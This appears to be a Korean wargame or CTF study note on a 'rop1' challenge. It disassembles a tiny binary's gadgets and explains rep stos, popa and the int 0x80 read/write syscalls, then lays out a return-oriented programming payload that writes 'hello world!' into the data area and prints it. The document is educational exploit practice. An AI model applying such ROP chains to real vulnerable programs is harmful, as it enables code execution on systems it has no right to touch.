x
rop1 본문
rop1 - hello world! 출력
gdb에서 I functions를 치면 함수들의 리스트가 나온다
Dump of assembler code for function gadget1:
0x080480d8 <+0>: rep stos BYTE PTR es:[edi],al
0x080480da <+2>: ret
Dump of assembler code for function gadget2:
0x080480db <+0>: popa
0x080480dc <+1>: ret
Dump of assembler code for function _start:
0x080480dd <+0>: sub esp,0x1000
0x080480e3 <+6>: mov eax,0x3
0x080480e8 <+11>: mov ebx,0x0
0x080480ed <+16>: mov ecx,esp
0x080480ef <+18>: mov edx,0x1000
0x080480f4 <+23>: int 0x80
0x080480f6 <+25>: ret
Dump of assembler code for function write:
0x080480f7 <+0>: mov eax,0x4
0x080480fc <+5>: mov ebx,DWORD PTR [esp+0x4]
0x08048100 <+9>: mov ecx,DWORD PTR [esp+0x8]
0x08048104 <+13>: mov edx,DWORD PTR [esp+0xc]
0x08048108 <+17>: int 0x80
0x0804810a <+19>: ret
rep stos BYTE PTR es:[edi], al
자료형 PTR 데이터 : 데이터를 자료형의 크기로 변환한다 ( 형변환 ) --> 예 : BYTE PTR es:[edi] : es:[edi] 레지스터를 1byte만 사용하겠다
rep : ecx가 0이 될 때 까지 반복한다(loop)
stos : al, ax, eax 레지스터의 값을 destination에 저장한다(destination은 es:di or es:edi). 수행한 수에는 edi의 값이 증가한다(1,2,4byte)
stosb, stosw, stosd : stos BYTE, stos WORD, stos DWORD
즉 rep stos BYTE PTR es:[edi], al 의 뜻은
es:[edi]가 가리키는 주소에 al의 값을 복사하는데 ecx의 값이 0이 될 때 까지 반복하겠다.
popa
=pop all : 스택에서 edi, esi, ebp, ebx,, edx, ecx, eax 순으로 꺼낸다
_start
int 0x80 : 시스템 콜 --> eax값에 대응하는 시스템 콜을 발생시킨다, ebx, ecx, edx는 인자를 받는다
eax에 0x3 : sys_read : 입력받는 함수
ebx에 0x0 : fd = 0 = STDIN(사용자)로부터 입력을 받겠다
ecx에 esp : esp가 가리키는 주소에 저장하겠다.
edx에 0x1000 : 0x1000바이트 만큼 받겠다
=사용자로부터 최대 0x1000바이트를 입력받아서 esp가 가리키는 주소에 저장하겠다.
write
eax에 0x4 : sys_write : 출력하는 함수
ebx, ecx, edx 는 각각 fd, 출력주소, 출력크기를 지정한다.
시나리오 : rep stos를 이용하여 한글자씩 변하지 않는 주소(DATA 영역)에 옮기고, hello world!를 다 옮겼으면 write로 출력한다. 레지스터에 값을 넣을 때 popa를 사용한다.
edi esi ebp ebx edx ecx eax
popa + [DATA영역] + dummy 16byte + \x01\x00\x00\x00 + H + rep stos +
popa + [DATA영역+1] + dummy 16byte + \x01\x00\x00\x00 + e + rep stos +
.......
popa + [DATA영역+10]+ dummy 16byte + \x01\x00\x00\x00 + ! + rep stos +
write + dummy + 1(STDOUT) + [DATA영역] + 1000
dummy 를 20byte로 했더니 된다.